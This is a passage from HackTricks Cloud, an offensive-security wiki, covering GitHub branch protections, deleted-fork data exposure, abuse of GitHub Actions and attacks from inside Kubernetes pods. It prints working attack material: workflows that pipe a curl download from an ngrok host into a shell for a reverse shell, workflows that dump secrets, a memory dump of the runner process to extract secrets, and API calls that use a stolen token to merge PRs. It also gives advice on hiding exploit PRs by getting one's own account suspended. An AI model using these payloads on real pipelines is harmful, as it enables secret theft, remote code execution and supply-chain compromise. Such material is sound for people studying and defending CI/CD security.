Runner** when configuring it to know where the runner belongs. If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. caution A **malicious Github Action** run could be **abused** by the attacker to: * **Steal all the secrets** the Action has access to * **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) * **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. The **branch protections of a repository** can be found in _https://github.com///settings/branches_ note It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. Different protections can be applied to a branch (like to master): * You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: * **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. * **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. * **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) * **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. * **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. * **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). * **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. * **Require signed commits**. The commits need to be signed. * **Require linear history.** Prevent merge commits from being pushed to matching branches. * **Include administrators**. If this isn't set, admins can bypass the restrictions. * **Restrict who can push to matching branches**. Restrict who can send a PR. note As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. * [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) * [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) [https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) * [https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github](https://docs.github.com/en/get-started/learning-about-github/access-permissions-on-github) * [https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/permission-levels-for-user-owned-project-boards) * [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Accessible Deleted Data in Github - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 3 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) . 1. You fork a public repository 2. You commit code to your fork 3. You delete your fork caution The data commited in the deleted fork is still accessible. 1. You have a public repo on GitHub. 2. A user forks your repo. 3. You commit data after they fork it (and they never sync their fork with your updates). 4. You delete the entire repo. caution Even if you deleted your repo, all the changes made to it are still accessible through the forks. 1. You create a private repo that will eventually be made public. 2. You create a private, internal version of that repo (via forking) and commit additional code for features that you’re not going to make public. 3. You make your “upstream” repository public and keep your fork private. caution It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public. The same blog post propose 2 options: If the commit ID (sha-1) value is known it's possible to access it in `https://github.com///commit/` It's the same to access both of these: * [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14) * [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463) And the latest one use a short sha-1 that is bruteforceable. * [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Abusing Github Actions - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 19 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. In this page you will find: * A **summary of all the impacts** of an attacker managing to access a Github Action * Different ways to **get access to an action**: * Having **permissions** to create the action * Abusing **pull request** related triggers * Abusing **other external access** techniques * **Pivoting** from an already compromised repo * Finally, a section about **post-exploitation techniques to abuse an action from inside** (cause the mentioned impacts) For an introduction about [**Github Actions check the basic information**](../basic-github-information.html#github-actions) . If you can **execute arbitrary code in GitHub Actions** within a **repository**, you may be able to: * **Steal secrets** mounted to the pipeline and **abuse the pipeline's privileges** to gain unauthorized access to external platforms, such as AWS and GCP. * **Compromise deployments** and other **artifacts**. * If the pipeline deploys or stores assets, you could alter the final product, enabling a supply chain attack. * **Execute code in custom workers** to abuse computing power and pivot to other systems. * **Overwrite repository code**, depending on the permissions associated with the `GITHUB_TOKEN`. This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option: ![](../../../images/image (86).png) This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps) warning Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`. You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github\_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token) Note that the token **expires after the job has completed**. These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7` Some interesting things you can do with this token: bash # Merge PR curl -X PUT \ https://api.github.com/repos///pulls//merge \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header "content-type: application/json" \ -d "{\"commit_title\":\"commit_title\"}" bash # Approve a PR curl -X POST \ https://api.github.com/repos///pulls//reviews \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ -d '{"event":"APPROVE"}' bash # Create a PR curl -X POST \ -H "Accept: application/vnd.github.v3+json" \ --header "authorization: Bearer $GITHUB_TOKEN" \ --header 'content-type: application/json' \ https://api.github.com/repos///pulls \ -d '{"head":"","base":"master", "title":"title"}' caution Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization. List secrets in Github Action output yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} Get reverse shell with secrets yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions: ![](../../../images/image (286).png) note This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**. If you are in this scenario you can just check the [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action) . In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**. If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called). You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be): yaml on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - master push: # Run it when a push is made to a branch branches: - current_branch_name # Use '**' instead of a branh name to trigger the action in all the cranches * * * note There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them. The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow: ![](../../../images/image (184).png) note As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**. **I tested this and it doesn't work**: ~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~ Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories) : > With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**. An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations. caution **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!** As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**. The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission). Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target) . Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/) . It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**. An this one will have **access to secrets**. The [**workflow\_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. In this example, a workflow is configured to run after the separate "Run Tests" workflow completes: yaml on: workflow_run: workflows: [Run Tests] types: - completed Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**. This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability) **.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}` The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**. TODO TODO: Check if when executed from a pull\_request the used/downloaded code if the one from the origin or from the forked PR We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](#pull_request) . In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**. caution However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded): # INSECURE. Provided as an example only. on: pull_request_target jobs: build: name: Build and test runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 with: ref: ${{ github.event.pull_request.head.sha }} - uses: actions/setup-node@v1 - run: | npm install npm build - uses: completely/fakeaction@v2 with: arg1: ${{ secrets.supersecret }} - uses: fakerepo/comment-on-pr@v1 with: message: | Thank you! The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**. warning A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR). ### [](#understanding-the-risk-of-script-injections) Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:** [Gh Actions - Context Script Injections](gh-actions-context-script-injections.html) ### [](#what-is-usdgithub_env) From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file. If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD\_PRELOAD** or **NODE\_OPTIONS**. For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project) ), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it: ![](../../../images/image (261).png) #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact) As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks) , this Github Action allows to access artifacts from different workflows and even repositories. The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact. Example of vulnerable workflow: yaml on: workflow_run: workflows: ["some workflow"] types: - completed jobs: success: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: download artifact uses: dawidd6/action-download-artifact with: workflow: ${{ github.event.workflow_run.workflow_id }} name: artifact - run: python ./script.py with: name: artifact path: ./script.py This could be attacked with this workflow: yaml name: "some workflow" on: pull_request jobs: upload: runs-on: ubuntu-latest steps: - run: echo "print('exploited')" > ./script.py - uses actions/upload-artifact@v2 with: name: artifact path: ./script.py * * * If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted. caution So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action. If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) * * * note In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section). A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. [GH Actions - Cache Poisoning](gh-actions-cache-poisoning.html) Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**: [Gh Actions - Artifact Poisoning](gh-actions-artifact-poisoning.html) * * * Check the following pages: [AWS - Federation Abuse](../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.html) [GCP - Federation Abuse](../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.html) ### [](#accessing-secrets) If you are injecting content into a script it's interesting to know how you can access secrets: * If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**. List secrets in Github Action output yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} Get reverse shell with secrets yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - "**" push: # Run it when a push is made to a branch branches: - "**" jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} * If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible. * cat /home/runner/work/_temp/* * For a JavaScript actions the secrets and sent through environment variables * ps axe | grep node * For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**: uses: fakeaction/publish@v3 with: key: ${{ secrets.PUBLISH_KEY }} The way to find which **Github Actions are being executed in non-github infrastructure** is to search for **`runs-on: self-hosted`** in the Github Action configuration yaml. **Self-hosted** runners might have access to **extra sensitive information**, to other **network systems** (vulnerable endpoints in the network? metadata service?) or, even if it's isolated and destroyed, **more than one action might be run at the same time** and the malicious one could **steal the secrets** of the other one. In self-hosted runners it's also possible to obtain the **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory: bash sudo apt-get install -y gdb sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')" Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/) . It's possible to make Github actions that will **build and store a Docker image inside Github**. An example can be find in the following expandable: Github Action Build & Push Docker Image yaml [...] - name: Set up Docker Buildx uses: docker/setup-buildx-action@v1 - name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }} - name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile - name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }} [...] As you could see in the previous code, the Github registry is hosted in **`ghcr.io`**. A user with read permissions over the repo will then be able to download the Docker Image using a personal access token: bash echo $gh_token | docker login ghcr.io -u --password-stdin docker pull ghcr.io//: Then, the user could search for **leaked secrets in the Docker image layers:** [Docker Forensics - HackTricks](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html) Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) . (Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) ) First of all, any PR raised is clearly visible to the public in Github and to the target GitHub account. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR) An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github. warning The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed. The following tools are useful to find Github Action workflows and even find vulnerable ones: * [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven) * [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato) * [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X) * [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda) tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. --- # Attacking Kubernetes from inside a Pod - HackTricks Cloud [![](../../../../../images/CLOUD-web-logo.png)HackTricks Cloud\ =============================================================](/) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) [Hacktricks Training](https://training.hacktricks.xyz) [Twitter](https://twitter.com/hacktricks_live) [Linkedin](https://www.linkedin.com/company/hacktricks) [Sponsor](https://github.com/sponsors/carlospolop) Translations Afrikaans Chinese English French German Greek Hindi Italian Japanese Korean Polish Portuguese Serbian Spanish Swahili Turkish Ukrainian Reading time: 15 minutes tip Learn & practice AWS Hacking:![](../../../../../images/arte.png)[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) ![](../../../../../images/arte.png) Learn & practice GCP Hacking: ![](../../../../../images/grte.png)[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) ![](../../../../../images/grte.png) Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop) ! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live) **.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. **If you are lucky enough you may be able to escape from it to the node:** ![](https://sickrov.github.io/media/Screenshot-161.jpg) In order to try to escape from the pods you might need to **escalate privileges** first, some techniques to do it: [Linux Privilege Escalation - HackTricks](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html) You can check this **docker breakouts to try to escape** from a pod you have compromised: [Docker Breakout / Privilege Escalation - HackTricks](https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html) As explained in the section about **kubernetes enumeration**: [Kubernetes Enumeration](kubernetes-enumeration.html) Usually the pods are run with a **service account token** inside of them. This service account may have some **privileges attached to it** that you could **abuse** to **move** to other pods or even to **escape** to the nodes configured inside the cluster. Check how in: [Abusing Roles/ClusterRoles in Kubernetes](abusing-roles-clusterroles-in-kubernetes/index.html) If the pod is run inside a **cloud environment** you might be able to l**eak a token from the metadata endpoint** and escalate privileges using it. As you are inside the Kubernetes environment, if you cannot escalate privileges abusing the current pods privileges and you cannot escape from the container, you should **search potential vulnerable services.** **For this purpose, you can try to get all the services of the kubernetes environment:** kubectl get svc --all-namespaces By default, Kubernetes uses a flat networking schema, which means **any pod/service within the cluster can talk to other**. The **namespaces** within the cluster **don't have any network security restrictions by default**. Anyone in the namespace can talk to other namespaces. The following Bash script (taken from a [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md) ) will install and scan the IP ranges of the kubernetes cluster: bash sudo apt-get update sudo apt-get install nmap nmap-kube () { nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}" } nmap-kube-discover () { local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,'); local SERVER_RANGES=" "; SERVER_RANGES+="10.0.0.1 "; SERVER_RANGES+="10.0.1.* "; SERVER_RANGES+="10.*.0-1.* "; nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}" } nmap-kube-discover Check out the following page to learn how you could **attack Kubernetes specific services** to **compromise other pods/all the environment**: [Pentesting Kubernetes Services](pentesting-kubernetes-services/index.html) In case the **compromised pod is running some sensitive service** where other pods need to authenticate you might be able to obtain the credentials send from the other pods **sniffing local communications**. By default techniques like **ARP spoofing** (and thanks to that **DNS Spoofing**) work in kubernetes network. Then, inside a pod, if you have the **NET\_RAW capability** (which is there by default), you will be able to send custom crafted network packets and perform **MitM attacks via ARP Spoofing to all the pods running in the same node.** Moreover, if the **malicious pod** is running in the **same node as the DNS Server**, you will be able to perform a **DNS Spoofing attack to all the pods in cluster**. [Kubernetes Network Attacks](kubernetes-network-attacks.html) There is no specification of resources in the Kubernetes manifests and **not applied limit** ranges for the containers. As an attacker, we can **consume all the resources where the pod/deployment running** and starve other resources and cause a DoS for the environment. This can be done with a tool such as 